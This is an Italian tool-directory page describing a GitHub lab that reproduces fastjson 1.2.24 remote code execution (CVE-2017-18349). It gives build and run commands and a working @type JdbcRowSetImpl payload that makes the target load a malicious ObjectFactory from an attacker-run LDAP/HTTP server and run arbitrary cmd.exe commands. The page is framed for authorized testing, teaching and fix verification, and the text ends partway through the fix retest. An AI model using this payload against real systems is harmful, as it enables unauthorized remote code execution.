Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/dichen-l/cve-2017-18349-fastjson1.2.24-vul
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebCTFPenetration TestingApprendimento e FormazioneSviluppo PayloadLab e Pratica
GitHubdichen-l/cve-2017-18349-fastjson1.2.24-vul

CVE-2017-18349-fastjson1.2.24-vul

Lab Spring Boot eseguibile con fastjson 1.2.24, completo di un PoC Python che fornisce servizi LDAP/HTTP, distribuisce un ObjectFactory malevolo tramite JNDI con @type e verifica l'RCE e la correzione nella 1.2.25.

Vedi Repository
14 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    352
  • 4

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    291

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di riproduzione per l'esecuzione di codice remoto tramite @type in fastjson 1.2.24 (CVE-2017-18349)

Questo è un ambiente di riproduzione minimo ed eseguibile: fat-jar eseguibile Spring Boot 2.7.18 + fastjson 1.2.24, con punto di ingresso un'API JSON senza autenticazione. Il PoC in puro Python associato avvia servizi LDAP e HTTP minimi, ospita una classe ObjectFactory malevola, stampa il payload @type e lo invia automaticamente; il risultato del comando viene restituito via HTTP.

Solo per test autorizzati: questo progetto esegue comandi arbitrari all'interno del processo target ed espone esternamente classi malevole. Da usare esclusivamente per esperimenti locali, CTF, didattica o test di sicurezza esplicitamente autorizzati; non utilizzarlo su sistemi non autorizzati. Al termine dei test, arrestare immediatamente l'applicazione e i servizi del PoC.

Panoramica della vulnerabilità

  • Ambito di impatto: com.alibaba:fastjson < 1.2.25; corretto in 1.2.25.
  • Prerequisito chiave: la JVM target è una versione precedente a JDK 8u191 e il codice applicativo invoca JSON.parseObject su JSON controllabile. La catena classica richiede il caricamento di ObjectFactory da un javaCodeBase remoto tramite JNDI; a partire da 8u191 GA questo percorso è disabilitato per impostazione predefinita.
  • Causa radice: in 1.2.24, DefaultJSONParser:322, alla ricezione di @type, esegue direttamente TypeUtils.loadClass, e nel percorso di parsing non esiste alcun controllo autoType; la blacklist di ParserConfig viene verificata solo all'interno di getDeserializer, dopo il caricamento della classe, e per prefisso, con il solo valore predefinito java.lang.Thread.
  • Caratteristiche: non è necessario che sul classpath target esista una catena di exploit; LDAP/HTTP/classe malevola sono tutti forniti dal PoC, e il fatto che l'interfaccia restituisca infine 500 è un comportamento previsto (il comando è già stato eseguito).

Struttura del repository

CVE-2017-18349-fastjson1.2.24-vul/
├── README.md                              # 本文件
├── CVE-2017-18349-fastjson1.2.24/         # 漏洞环境
│   ├── pom.xml                            # 聚合 POM(vuln-app,默认 1.2.24,-Pfix 切 1.2.25)
│   └── vuln-app/                          # Spring Boot 2.7.18 + fastjson 1.2.24
└── CVE-2017-18349-fastjson1.2.24-poc/     # 配套 PoC
    ├── poc.py                             # 纯 Python,仅标准库
    ├── README.md                          # 参数、17 行矩阵、成功/拒绝现象
    └── payloads/                          # 恶意 ObjectFactory 源码与预编译字节码

Requisiti dell'ambiente

VoceRequisito
JDK di buildJDK 8 (verificato 1.8.0_503)
JDK di esecuzioneJDK < 8u191 (verificato 1.8.0_65; 8u65 non ha la protezione trustURLCodebase)
Maven3.6+ (verificato 3.9.16)
Python3.8+ (verificato 3.11, solo libreria standard)
Porte8091 applicazione, 1389 LDAP, 8888 HTTP, 5005 JDWP
ReteIl target deve poter raggiungere --host:1389/8888; per la riproduzione locale usare 127.0.0.1
Sistema targetWindows (il PoC esegue comandi tramite cmd.exe /c)

Ambiente testato: Windows 10 x64, Oracle JDK 1.8.0_65 (esecuzione) / 1.8.0_503 (build), Apache Maven 3.9.16, Python 3.11. Avviando con 8u191+ l'applicazione funziona comunque, ma il Reference restituito da LDAP non viene caricato da remoto e il payload non ha effetto — questo è un prerequisito di deployment, non un difetto dell'ambiente.

Avvio rapido

1. Build

Eseguire nella directory radice del progetto (la directory in cui si trova questo README):

cd CVE-2017-18349-fastjson1.2.24
set "JAVA_HOME=<JDK 8 安装目录>"
mvn -B -DskipTests clean package
jar tf vuln-app\target\fastjson124-demo.jar | findstr /C:"fastjson-1.2.24.jar"

L'ultima riga dovrebbe restituire BOOT-INF/lib/fastjson-1.2.24.jar; guardare solo pom.xml non è sufficiente.

2. Avviare l'applicazione

"%JDK8U65%\bin\java.exe" -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 ^
  -jar vuln-app\target\fastjson124-demo.jar

%JDK8U65% punta alla directory di installazione di 1.8.0_65; rimuovi -agentlib:jdwp=... quando non è necessario il debug remoto. Non avviare con 8u191+ e non aggiungere -Dcom.sun.jndi.ldap.object.trustURLCodebase=true.

3. Verifica dello stato di esecuzione

curl -s http://127.0.0.1:8091/api/info
curl -s -X POST http://127.0.0.1:8091/api/parse -H "Content-Type: application/json" ^
  -d "{\"name\":\"alice\",\"age\":18}"

/api/info dovrebbe contenere:

{
  "fastjson_version": "1.2.24",
  "fastjson_jar": "fastjson-1.2.24.jar",
  "auto_type_support": "not-present",
  "check_auto_type_present": false,
  "java_version": "1.8.0_65",
  "jndi_naming_helper_trust_url_codebase": "field-not-present"
}

La seconda richiesta dovrebbe restituire 200, parsed_class=com.alibaba.fastjson.JSONObject.

4. Eseguire il PoC

Aprire un altro terminale ed eseguire dalla directory principale del progetto:

cd CVE-2017-18349-fastjson1.2.24-poc
python poc.py --target http://127.0.0.1:8091 --host 127.0.0.1

--host è l'indirizzo utilizzato per accedere al target LDAP/HTTP; per la riproduzione locale inserire 127.0.0.1. Il PoC esegue per impostazione predefinita whoami & hostname, e ospita LDAP e la classe malevola sulle porte 1389/8888; invia a /api/parse:

{"@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://127.0.0.1:1389/single",
 "autoCommit":true}

5. Indicatori di successo

single                   PASS HTTP=500 rce=True  ldap=1  parsed=com.alibaba.fastjson.JSONException
command output:
win-2pgvtgciuvv\administrator
WIN-2PGVTGCIUVV
evidence: ...\evidence\command-output.txt

Il target che restituisce 500 set property error, autoCommit / NPE è un fenomeno atteso: setAutoCommit ha già attivato la lookup JNDI, la factory esegue il comando e restituisce null, dopodiché DataSource.getConnection() va in null pointer. La valutazione si basa sugli effetti collaterali: hit LDAP, il target recupera Evl.class/cmd.txt, restituisce l'output di whoami/hostname; un 500 senza questi callback non è considerato un successo.

Parametri del PoC

ParametroDescrizione
--target URLIndirizzo base del target, ad esempio http://127.0.0.1:8091; se omesso stampa il payload e mantiene l'hosting
--host HOSTIndirizzo con cui il target accede a LDAP/HTTP, predefinito 127.0.0.1
--ldap-port N / --http-port NPorte di ascolto LDAP / HTTP, predefinite 1389 / 8888
--command CMDComando passato a cmd.exe /c, predefinito whoami & hostname; {token} viene sostituito con il numero di riga
--matrixEsegue la matrice completa di 17 righe (versione vulnerabile 17/17, 5 righe RCE; versione corretta 17/17, 0 righe RCE)
--json PATH / --save-http DIRArtefatti per la diagnosi locale; non consegnati con il progetto
--timeout N / --wait NTimeout della richiesta (25s) / limite di hosting quando --target è omesso (300s)

I parametri completi, le aspettative riga per riga della matrice e i criteri di successo sono in CVE-2017-18349-fastjson1.2.24-poc/README.md.

Invio manuale del payload

Quando --target è omesso, il PoC stampa il payload e mantiene in esecuzione i servizi LDAP/HTTP (eseguire nella directory radice del progetto):

cd CVE-2017-18349-fastjson1.2.24-poc
python poc.py --host 127.0.0.1

Usa curl o l'HTTP Client dell'IDE per inviare il payload stampato a /api/parse; il PoC, dopo aver ricevuto la risposta, stamperà l'output del comando e uscirà; il timeout è controllato da --wait.

Retest della correzione

  1. Compila la 1.2.25 con -Pfix e verifica il contenuto del pacchetto:
Scarica lo strumento